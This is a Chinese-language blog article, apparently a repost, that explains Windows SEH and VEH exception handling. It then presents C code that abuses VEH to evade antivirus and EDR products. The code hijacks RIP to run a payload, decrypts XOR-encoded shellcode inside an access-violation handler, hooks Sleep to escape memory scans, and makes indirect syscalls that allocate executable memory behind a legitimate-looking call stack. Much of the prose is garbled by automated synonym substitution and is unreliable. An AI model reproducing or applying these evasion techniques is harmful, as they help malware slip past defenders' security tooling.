从安全角度看 SEH 和 VEH

异常处置惩罚步伐是处置惩罚步伐中不可预见的错误的根本方法之一

• https://learn.microsoft.com/en-us/dotnet/csharp/fundamentals/exceptions/
  

SEH——结构化异常处置惩罚步伐

就其工作方式而言，异常处置惩罚步伐与其他处置惩罚步伐相比相称底子，有一个 try 块用于包装不安全代码，另有一个 except 块用于在生成特定异常时进行处置惩罚。
在下面的代码中示例中，可以通过将 0 作为第二个输入来生成异常，因为除以零是系统生成的异常。这被包装在try块中，过滤器代码会查抄这是什么范例的异常，在这种环境下，如果是，EXCEPTION_INT_DIVIDE_BY_ZERO将继续处置惩罚包装在except块中的异常。

1. int main()
2. {
3.    __try
4.    {
5.        int inp1 = 0, inp2 = 0;
6.        printf("第一个输入: ");
7.        scanf_s("%d", &inp1);
8.        printf("第二个输入: ");
9.        scanf_s("%d", &inp2);
10.        int result = inp1 / inp2;
11.        printf("结果: %d", result);
12.    }
13.    __except ((_exception_code() == EXCEPTION_INT_DIVIDE_BY_ZERO || _exception_code() == EXCEPTION_FLT_DIVIDE_BY_ZERO) ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
14.    {
15.        printf("触发的异常是:  EXCEPTION_FLT_DIVIDE_BY_ZERO\n");
16.    }
18.    return 0;
19. }

复制代码

从编译时开始。编译器生成有关异常的所有须要信息，异常范例，过滤器的位置和处置惩罚它的最终代码等，末了将它们内嵌到PE文件的异常框架中
VEH——向量异常处置惩罚步伐

向量异常处置惩罚是结构化异常处置惩罚的扩展，这些处置惩罚步伐利用回调函数机制工作。每当发生异常时，就会调用这些回调函数。所有这些回调函数都位于二进制文件在运行时添加的排序链接列表中。可以通过 winAPI AddVectoredExceptionHandler在步伐中的任何位置注册回调。
需要注意的是，VEH 异常处置惩罚步伐是全局注册的，并不与单个函数或单个堆栈框架绑定。由于向后兼容，系统首先调用所有 VEH 处置惩罚步伐，如果所有处置惩罚步伐均未执行该处置惩罚步伐，则将其传递给 SEH。此外，VEH 以循环链接列表的形式实现。

1. PVOID AddVectoredExceptionHandler(
2.   ULONG                       First,
3.   PVECTORED_EXCEPTION_HANDLER Handler
4. );

复制代码

winAPI 有两个参数，

• 第一个参数界说处置惩罚函数是否应该注册在链接列表的开头或结尾。这告诉系统首先调用哪个处置惩罚步伐。
  
• 第二个参数是要注册的回调函数的指针。
  

回调函数界说如下

1. PVECTORED_EXCEPTION_HANDLER PvectoredExceptionHandler;
3. LONG PvectoredExceptionHandler(
4.   [in] _EXCEPTION_POINTERS *ExceptionInfo
5. )

复制代码

第一个参数中指向结构的指针界说如下

1. typedef struct _EXCEPTION_POINTERS {
2.   PEXCEPTION_RECORD ExceptionRecord;
3.   PCONTEXT          ContextRecord;
4. } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;

复制代码

该结构包罗两个重要成员：
结构体中的第一个指针指向结构体EXCEPTION_RECORD 里面包罗界说的异常的详细信息
ExceptionRecord界说如下:

1. typedef struct _EXCEPTION_RECORD {
2.   DWORD                    ExceptionCode;
3.   DWORD                    ExceptionFlags;
4.   struct _EXCEPTION_RECORD *ExceptionRecord;
5.   PVOID                    ExceptionAddress;
6.   DWORD                    NumberParameters;
7.   ULONG_PTR                ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
8. } EXCEPTION_RECORD;

复制代码

第一个元素是最常用的，它包罗产生了什么范例的异常，比方STATUS_INTEGER_DIVISION_BY_ZERO。
第二个指针指向结构CONTEXT，此中包罗异常发生时CPU上下文的所有细节。这个结构非常重要，因为它可以答应读取和写回数据，一旦执行规复，这些数据将直接在CPU上应用。这是因为当异常处置惩罚步伐完成其执行时，系统将根据返回值继续搜刮异常或继续执行历程。
当系统继续执行历程时，它调用RtlRestoreContext winAPI来规复CPU状态和我们覆盖它的数据。由于这是由系统自动完成的，安全产品通常不会检测到这种CPU状态覆盖。
VEH 的利用非常简单：
注册一个名为VEHHandler()的处置惩罚步伐，它将成为VEH异常列表中的全局处置惩罚步伐。这个处置惩罚步伐负责查抄发生的异常是否是想要的异常。

1. LONG WINAPI VEHHandler(
2.    struct _EXCEPTION_POINTERS* ExceptionInfo
3. ) {
4.    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {
5.        printf("触发的异常是:  STATUS_INTEGER_DIVIDE_BY_ZERO\n");
6.    }
7.    return EXCEPTION_CONTINUE_EXECUTION;
8. }
10. int main()
11. {
12.    PVOID h1 = AddVectoredExceptionHandler(1, VEHHandler);
13.    int inp1 = 0, inp2 = 0;
14.    printf("第一个输入: ");
15.    scanf_s("%d", &inp1);
16.    printf("第二个输入: ");
17.    scanf_s("%d", &inp2);
18.    int result = inp1 / inp2;
19.    printf("结果: %d", result);
20.    RemoveVectoredExceptionHandler(h1);
21.    return 0;
22. }

复制代码

与SEH差别，VEH可以被以为是一种运行时机制，因为处置惩罚步伐是在运行时过程中的任何地方注册和删除的。

异常处置惩罚技术在绕过防护机制中的应用

执行payload

由于可以访问 context 结构，以是可以直接修改 RIP 寄存器的内容以指向想要的任何位置，这意味着可以进行间接调用。

1. void myFunction() {
2.     //payload..........
3.    printf("[*] myFunction() Called\n");
4. }
7. LONG WINAPI testHandler(
8.    struct _EXCEPTION_POINTERS* ExceptionInfo
9. ) {
10.    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_INTEGER_DIVIDE_BY_ZERO || ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_FLOAT_DIVIDE_BY_ZERO) {
11.        ULONG64 Offset = 0x1000;
12.        HMODULE BaseAddress = GetModuleHandleA(NULL);
13.        printf("[*]进程基地址: %#llx\n", (ULONG64)BaseAddress);
14.        ULONG64 FunctionAddress = (ULONG64)BaseAddress + Offset;
15.        printf("[*] myFunction地址: %#llx\n", (ULONG64)FunctionAddress);
16.        ExceptionInfo->ContextRecord->Rip = (DWORD64)FunctionAddress;
17.        
18.    }
19.    return EXCEPTION_CONTINUE_EXECUTION;
20. }
22. int main()
23. {
24.    PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
25.    int inp1 = 0, inp2 = 0;
26.    int result = inp1 / inp2;
27.    RemoveVectoredExceptionHandler(h1);
28.    return 0;
29. }

复制代码

运行时代码解密+规避内存扫描

利用异常EXCEPTION_ACCESS_VIOLATION，该异常在访问无效的内存页或无效的内存页访问权限时生成。由于shellcode被加密并存储在一个全局变量中，全局变量不是可执行内存区域，以是可以通过简单地将变量转换为函数调用并调用它来轻松地生成异常。

1. #define XOR_KEY 0x66
3. char encode_shellcode[] = "\x5b\x90\xff\x3b\x5b\x90\xf7\xe3\x5b\x9e\x06\x75\x13..................";
5. LONG WINAPI testHandler(
6.    struct _EXCEPTION_POINTERS* ExceptionInfo
7. ) {
8.    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {
9.        printf("[*] 进入异常处理\n");
10.        DWORD flOldProtect;
11.        for (int i = 0; i < sizeof(enc_shellcode); i++) {
12.            encode_shellcode[i] ^= XOR_KEY;
13.        }
14.        BOOL res = VirtualProtect(encode_shellcode, sizeof(encode_shellcode), PAGE_EXECUTE, &flOldProtect);
15.        if (res == TRUE) {
16.            printf("[*] 执行权限改为 PAGE_EXECUTE\n");
17.        }
18.    }
19.    return EXCEPTION_CONTINUE_EXECUTION;
20. }
22. int main()
23. {
24.    PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
25.    (*(void (*)()) & encode_shellcode)();
26.    RemoveVectoredExceptionHandler(h1);
27.    return 0;
28. }

复制代码

然后再Hook Sleep函数，将功能模块的内存属性改为不可执行，便可规避后续的内存扫描。

1. static VOID(WINAPI* OrigSleep)(DWORD dwMilliseconds) = Sleep;
2. void WINAPI NewCustomSleep(DWORD dwMilliseconds) {
3.    if (CustomFlag)
4.    {
5.        VirtualFree(customShellcodeAddr, 0, MEM_RELEASE);
6.        CustomFlag = false;
7.    }
8.    printf("custom sleep time:%d\n", dwMilliseconds);
9.    unhookCustomSleep();
10.    OrigSleep(dwMilliseconds);
11.    hookCustomSleep();
12. }
13. void hookCustomSleep() {
14.    DWORD dwOldProtect = NULL;
15.    BYTE pCustomData[5] = { 0xe9,0x0,0x0,0x0,0x0 };
16.    RtlCopyMemory(g_OrigSleep, OrigSleep, sizeof(pCustomData));
17.    DWORD dwCustomOffset = (DWORD)NewCustomSleep - (DWORD)OrigSleep - 5;
18.    RtlCopyMemory(&pCustomData[1], &dwCustomOffset, sizeof(dwCustomOffset));
19.    VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
20.    RtlCopyMemory(OrigSleep, pCustomData, sizeof(pCustomData));
21.    VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
22. }
23. void unhookCustomSleep() {
24.    DWORD dwOldProtect = NULL;
25.    VirtualProtect(OrigSleep, 5, PAGE_EXECUTE_READWRITE, &dwOldProtect);
26.    RtlCopyMemory(OrigSleep, g_OrigSleep, sizeof(g_OrigSleep));
27.    VirtualProtect(OrigSleep, 5, dwOldProtect, &dwOldProtect);
28. }

复制代码

运行时的解密也可以用于对shellcode进行逐条解密一条条的指令执行。这种方式更为猥琐和隐秘，可以通过STATUS_SINGLE_STEP异常和STATUS_ACCESS_VIOLATION异常来实现，读者可以实验

间接系统调用

与上面提到的可能性雷同，也可以修改RIP，用ntdll.dll库中的所在覆盖它，以执行间接的系统调用。
系统调用由寄存器 RAX 控制，此中包罗称为 SSN（系统服务编号）
HOOK技术是AV/EDR常用的检测机制，只管利用syscall可以绕过检测，但这导致了另一种可能的检测机制。在自己的步伐中利用系统调用称为直接系统调用技术，而从其他历程(如库本身)调用系统调用称为间接系统调用技术。
当在自己的步伐中利用系统调用时，通常可以通过简单的签名被检测到（通过查抄系统调用的来源），系统调用的返回所在应该是通过正当的源(如ntdll.dll本身)发生的，但是如果不是这样，它就会发出一个重要的危险信号。这是可以避免的，可以利用向量异常处置惩罚进行间接系统调用，这种技术提供了一个看起来非常正当的调用堆栈。这有助于大大低落被发现的可能性
最简单的方法是利用异常STATUS_ACCESS_VIOLATION，该异常在执行对内存的无效访问时生成。可以将想要调用的SSN号码存储在一个变量中，在本例中是0x18，它对应于系统调用ntallocatvirtualmemory，然后将其转换为函数并调用它。本质上，它调用所在0x18的函数，这显然不是一个有效的所在。这反过来会生成STATUS_ACCESS_VIOLATION异常。如今要将参数传递给函数，只需像调用其他函数一样调用存储SSN的变量，上下文将包罗传递的参数。
一旦生成异常，就可以模拟系统调用指令，就像在ntdll.dll中找到它一样，并将控制流更改为dll中的系统调用所在。

1. typedef NTSTATUS(NTAPI* pfnNtAllocateVirtualMemory) (
2.    IN HANDLE               ProcessHandle,
3.    IN OUT PVOID*           BaseAddress,
4.    IN ULONG                ZeroBits,
5.    IN OUT PULONG           RegionSize,
6.    IN ULONG                AllocationType,
7.    IN ULONG                Protect
8.    );
11. ULONG_PTR  FindSyscallAddr() {
12.    FARPROC fnDrawText = GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDrawText");
13.    BYTE* ptr_sysaddr = (BYTE*)(fnDrawText);
14.    BYTE sig_syscall[] = { 0x0f, 0x05, 0xc3 };
15.    int cnt_sig = 0, cnt_fn = 0;
16.    while (TRUE) {
17.        if (ptr_sysaddr[cnt_fn] == sig_syscall[cnt_sig]) {
18.            cnt_fn++;
19.            cnt_sig++;
20.            if (cnt_sig == sizeof(sig_syscall)) {
21.                ptr_sysaddr += cnt_fn - sizeof(sig_syscall);
22.                break;
23.            }
24.        }
25.        else {
26.            cnt_fn = cnt_fn - cnt_sig + 1;
27.            cnt_sig = 0;
28.        }
29.    }
30.    return (ULONG_PTR)ptr_sysaddr;
31. }
33. LONG WINAPI testHandler(
34.    struct _EXCEPTION_POINTERS* ExceptionInfo
35. ) {
36.    if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_ACCESS_VIOLATION) {
38.        ExceptionInfo->ContextRecord->R10 = ExceptionInfo->ContextRecord->Rcx;
39.        DWORD64 ssn = ExceptionInfo->ContextRecord->Rip;
40.        printf("[*] Syscall Number: %#x\n", (INT32)ssn);
41.        ExceptionInfo->ContextRecord->Rax = ssn;
42.        ULONG_PTR SyscallAddr = FindSyscallAddr();
43.        ExceptionInfo->ContextRecord->Rip = SyscallAddr;
44.        return EXCEPTION_CONTINUE_EXECUTION;
45.    }
46.    return EXCEPTION_CONTINUE_SEARCH;
47. }
49. int main()
50. {
51.    PVOID h1 = AddVectoredExceptionHandler(1, testHandler);
52.    pfnNtAllocateVirtualMemory NtAllocateVirtualMemory = (pfnNtAllocateVirtualMemory)0x18;
53.    PVOID retAddr = NULL;
54.    ULONG size = 0x1000;
55.    NtAllocateVirtualMemory(GetCurrentProcess(), &retAddr, NULL, (PULONG)&size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
56.    if (retAddr == NULL) {
57.        printf("[!] NtAllocateVirtualMemory Failed\n");
58.    }
59.    else {
60.        printf("[*] NtAllocateVirtualMemory Success: %#llx\n", (ULONG64)retAddr);
61.    }
62.    RemoveVectoredExceptionHandler(h1);
63.    return 0;
64. }

复制代码

 更多文章，可检察我的个人博客
https://www.laoxinsec.com/​

免责声明：如果侵犯了您的权益，请联系站长，我们会及时删除侵权内容，谢谢合作！更多信息从访问主页：qidao123.com:ToB企服之家，中国第一个企服评测及商务社交产业平台。